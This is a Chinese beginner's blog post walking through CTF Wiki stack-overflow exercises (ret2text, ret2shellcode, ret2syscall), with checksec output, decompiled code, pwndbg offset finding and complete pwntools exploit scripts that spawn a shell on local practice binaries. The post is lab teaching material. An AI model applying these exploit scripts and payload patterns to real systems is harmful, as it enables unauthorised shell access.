初识pwn(Stack Overflow) --入门即入土

比赛时web老是坐牢,就想看看pwn坑有多大

先看ctfwiki的栈溢出介绍
CTF Wiki-Stack Overflow
还有函数调用栈的知识
http://www.cnblogs.com/clover-toeic/p/3755401.html
https://www.cnblogs.com/clover-toeic/p/3756668.html
看完后正常人应该就会及时止损放弃学pwn了xd

搭建pwn环境:略(此处省略一万字)

用ctf wiki上的例题学学实操

0x00 ret2text(人生中第0道pwn题)
首先checksec+file命令查看文件信息

root@bridge-virtual-machine:/home/bridge/pwn/ret2text# checksec ret2text
[*] '/home/bridge/pwn/ret2text/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
root@bridge-virtual-machine:/home/bridge/pwn/ret2text# file ret2text
ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=4f13f004f23ea39d28ca91f2bb83110b4b73713f, with debug_info, not stripped
root@bridge-virtual-machine:/home/bridge/pwn/ret2text# 

解释一下关键的:
Stack: No canary found
金丝雀保护关。如果开启,会在返回地址前塞一段随机数据,如果被覆盖程序会直接报错

NX: NX enabled
NX开,IP不会指向堆栈上的数据,即不执行堆栈上的数据

ELF 32-bit
32位程序

dynamically linked
参见
动态链接GOT与PLT
这题没用到,先摆着吧

程序功能是简单的输入-输出。拖到ida里分析,发现计导课件常用函数gets,可造成栈溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(s);
  printf("Maybe I will tell you next time !");
  return 0;
}

并发现了secure函数下的shell函数

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf(&unk_8048760, &input);
  if ( input == secretcode )
    system("/bin/sh");
}

所以思路就是:利用gets写字符串,覆盖main函数的返回地址,让其指向system("/bin/sh")函数。我们现在要解决的问题就是计算gets函数的参数s距离main函数的返回地址是多少。可以在ida里硬算,但这里用更简单的pwntools+pwndbg计算。
首先用cyclic生成200个垃圾字符
cyclic 200
然后用gdb打开程序
gdb ret2text
pwndbg> run
输入刚才的垃圾字符,回车,可以看到报错
Invalid address 0x62616164
事实上0x62616164是我们刚才输入垃圾字符串(16进制形式)的一部分,而这一部分正好覆盖了main函数的返回地址。
然后可以通过cyclic lookup计算0x62616164距离字符串首字母间隔了几个字符

pwndbg> cyclic -l 0x62616164
112

最后在ida里查到system("/bin/sh")的地址为0x0804863A
然后终于可以愉快地写exp了

from pwn import *
p=process("./ret2text")
pay='a'*112+p32(0x0804863A)
p.sendline(pay)
p.interactive()

0x01 ret2shellcode
在完成从0到1的伟大跨越(?)后,来看看第二题
程序依然还是一行输入。checksec查看保护

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

保护全关
ida查看main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

gets后把字符串赋给了buf2,跟进buf,发现buf2在bss段。

这里先要理清到底内存中哪些地址是变的,哪些地址是不变的。在疯狂搜索和mark哥的讲解后总结出:

0.关于程序内存空间都有哪些段可以看:
一个程序的内存空间分布
1.堆栈取决于系统的地址随机化(ASLR)。
正常情况下都是随机的,但是调试的时候为了方便是固定的。另外,ASLR还会使libc等随机化。
2.程序加载的地址随机化(程序内存空间(代码段,数据段,bss段等)(.text .data .bss etc)
取决于PIE保护是否开启。具体可参考PIE保护详解和常用bypass手段

回到这题,PIE关,所以可以写shellcode到buf2(in .bss)。
在此之前,可以下个断点,用vmmap确认.bss的数据可执行:

pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> run
..........
pwndbg> vmmap

image
注意到

0x804a000  0x804b000 rwxp     1000 1000   /home/bridge/pwn/ret2shellcode/ret2shellcode

rwxp,可读可写可执行可映射。
这里有个坑。如果用readelf -S ret2shellcode看.bss的权限会发现它不可执行,这里我们要相信动调结果。
现在思路就是,payload开头写shellcode,然后填垃圾字符,把main函数反址覆盖成buf2地址。
exp如下

from pwn import *
p=process("./ret2shellcode")

shellcode=asm(shellcraft.sh())
buf2addr=0x0804A080
pay=shellcode.ljust(112,"a")+p32(buf2addr)

p.sendline(pay)
p.interactive()

解释一下新的点。
1.我们要发送的shellcode是hex码,asm()的作用是把汇编转化成机器码。而shellcraft.sh()是pwntools(?)库里自带的system("/bin/sh")汇编函数。
事实上,可以用log.info(shellcraft.sh())看看汇编代码
2.shellcode.ljust(112,"a")让shellcode左对齐,右边用a补全,字符总长度为112

0X02 ret2syscall
首先得明确这几个汇编语言是什么意思

jmp [addr]
等价于
mov ip,[addr]

call [addr]
等价于
push IP
jmp [addr]

ret
等价于
pop IP

leave(bp.sp复位)
等价于
mov esp, ebp
pop ebp

思路没啥好说的,看ctfwiki跟着学
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/

exp:

from pwn import *
context(os="linux",arch="i386")
context.log_level="debug"
# 0x080bb196 pop_eax_ret
# 0x0806eb90 pop_edx_pop_ecx_pop_ebx_ret
# int_0x80 0x08049421
# offset=112
# binsh=0x080be409
int_0x80=0x08049421
offset=112
binsh=0x080be408
pop_eax_ret=0x080bb196
pop_edx_pop_ecx_pop_ebx_ret=0x0806eb90

p=process("./rop")

pay='a'*offset
pay+=p32(pop_eax_ret)
pay+=p32(0xb)
pay+=p32(pop_edx_pop_ecx_pop_ebx_ret)
pay+=p32(0)
pay+=p32(0)
pay+=p32(binsh)
pay+=p32(int_0x80)
#gdb.attach(p)
p.sendline(pay)

p.interactive()

顺便动调看看一下写完payload后栈的情况
低地址是一堆a
image
esp附近好像和我们预想的差不多
image

就先到这里吧,虽然到这里连pwn的门都没入:( 往后还得听Mark哥的话学学动调研究一下内存,还要配一堆其他环境。。而且要期考了呜呜呜

posted @ 2021-12-18 20:22  KingBridge  阅读(1615)  评论(0编辑  收藏  举报